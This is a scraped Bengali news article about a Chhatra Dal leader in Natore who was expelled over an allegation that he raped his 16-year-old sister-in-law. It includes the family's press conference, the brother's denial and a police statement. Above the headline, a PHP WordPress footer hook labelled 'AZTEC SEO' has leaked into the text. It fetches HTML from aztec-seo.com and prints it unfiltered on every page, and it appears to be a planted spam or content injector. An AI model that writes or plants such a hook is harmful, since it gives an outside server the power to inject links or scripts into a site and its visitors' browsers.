/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99); শ্যালিকাকে ধর্ষণের অভিযোগে ছাত্রদল নেতা বহিষ্কার | Dhaka Sky News

‘হরমুজ প্রণালি পুরোপুরি ইরানের নিয়ন্ত্রণে রয়েছে’

আগের সংবাদ

১৭ এপ্রিল হজ ফ্লাইট শুরু, উদ্বোধন করবেন প্রধানমন্ত্রী

পরের সংবাদ

শ্যালিকাকে ধর্ষণের অভিযোগে ছাত্রদল নেতা বহিষ্কার

নাটোরের বড়াইগ্রামে ছাত্রদলের এক নেতার বিরুদ্ধে শ্যালিকাকে ধর্ষণের অভিযোগ উঠেছে। এ প্রেক্ষিতে রোববার (১২ এপ্রিল) বেলা ১১টার দিকে জেলা ছাত্রদলের দপ্তর সম্পাদক আসিফ ইকবাল নতুনের স্বাক্ষরিত পত্রে অভিযুক্ত ইকবাল হোসেনকে বহিষ্কারাদেশ দেওয়া হয়।

ইকবাল বনপাড়া পৌর ছাত্রদলের ১ নাম্বার যুগ্ম আহ্বায়ক। বর্তমানে ওই কিশোরী তিন মাসের অন্তঃসত্ত্বা।

বহিষ্কারাদেশে বলা হয়, অনৈতিক কর্মকাণ্ডের সঙ্গে জড়িত থাকায় বনপাড়া পৌর ছাত্রদলের ১ নাম্বার যুগ্ম আহ্বায়ক ও প্রাথমিক সদস্য পদ থেকে ইকবাল হোসেনকে বহিষ্কার করা হয়েছে।

এর আগে শনিবার (১১ এপ্রিল) রাত ৮টার দিকে উপজেলার বনপাড়া পৌর শহরের বাবার বাড়িতে সংবাদ সম্মেলন করেন ইকবাল হোসেনের স্ত্রী। সেখানে তিনি ইকবাল হোসেনসহ তার স্বজনদের গ্রেফতারের দাবি জানান। এ সময় ছাত্রদল নেতার শ্বশুর ও পরিবারের অন্য সদস্যরা উপস্থিত ছিলেন।

সংবাদ সম্মেলনে ছাত্রদল নেতার স্ত্রী বলেন, বড়াইগ্রামের বনপাড়া পৌরসভার গুরুমশৈল মহল্লার ফারুক হোসাইনের ছেলে, ইলেকট্রিক মিস্ত্রি ও পৌর ছাত্রদলের ১ নাম্বার যুগ্ম আহ্বায়ক ইকবাল হোসেনের সঙ্গে ২০১৭ সালের মে মাসে পারিবারিকভাবে আমার বিয়ে হয়। আমাদের পাঁচ বছরের একটি ছেলে রয়েছে।

তিনি বলেন, বছরখানেক ধরে ইকবাল আমার ১৬ বছর বয়সি ছোট বোনকে ফুসলিয়ে প্রেমের সম্পর্ক গড়ে তোলে। বিষয়টি জানার পর তাকে বিভিন্নভাবে বোঝানো হয়েছে। গত জানুয়ারি মাসের ১০ তারিখে ইকবাল রাজনৈতিক কাজে বাড়ি ফিরতে দেরি হবে জানিয়ে রাত ১১টার দিকে আমার বাবার বাড়িতে আসে এবং বোনকে ফুসলিয়ে ধর্ষণ করে।

তিনি আরও বলেন, গত সপ্তাহে বোন অসুস্থ হয়ে পড়লে জানতে পারি সে তার দুলাভাইয়ের কারণে অন্তঃসত্ত্বা হয়ে পড়েছে। এরপর গত ৩ এপ্রিল থেকে সে আকস্মিকভাবে নিখোঁজ হয়। এ বিষয়ে থানায় জিডি করার পর গত শুক্রবার বিকালে পুলিশ তাকে উদ্ধার করে বাবার জিম্মায় দেয়।

খবর পেয়ে রাত সাড়ে ৮টার দিকে ইকবাল কয়েকজনকে সঙ্গে নিয়ে এসে জোরপূর্বক তাকে তুলে নেওয়ার চেষ্টা চালায়। এ সময় চিৎকারে আশপাশের লোকজন এসে বোনকে উদ্ধার করে। তখন স্থানীয়রা ইকবালকে গণপিটুনি দেয়। পরে তাকে উদ্ধারে গেলে তার ছোট ভাই, স্থানীয় সাংবাদিক মাহবুবকেও মারধর করা হয়। পরে তাদের হাসপাতালে ভর্তি করা হয়।

সংবাদ সম্মেলনে ইকবালের শ্বশুর বলেন, আমার দুই মেয়ের ভবিষ্যৎ নষ্ট করার অভিযোগে ইকবালের উপযুক্ত শাস্তি চাই।

এ বিষয়ে ছাত্রদল নেতা ইকবাল হোসেনের সঙ্গে যোগাযোগের চেষ্টা করা হলেও তাকে পাওয়া যায়নি।

তবে তার ছোট ভাই মাহবুব বলেন, আমার ভাই তার শ্যালিকাকে বিয়ে করেছেন, তাদের কাবিননামা আছে। বিয়ে করা স্ত্রীকে আবার ধর্ষণ করা হয় কীভাবে? মূলত রাজনৈতিক কারণে একটি পক্ষ আমার ভাই ও আমাকে হেনস্তা করছে।

তিনি আরও দাবি করেন, তার ভাই প্রথম স্ত্রীকে তালাক দিয়েই এ বিয়ে করেছেন।

বড়াইগ্রাম থানার ওসি আব্দুস ছালাম জানান, ভুক্তভোগীর পিতা অপহরণ ও ধর্ষণের অভিযোগে থানায় মামলা দায়ের করেছেন। বিষয়টি তদন্ত করে প্রয়োজনীয় ব্যবস্থা গ্রহণ করা হবে।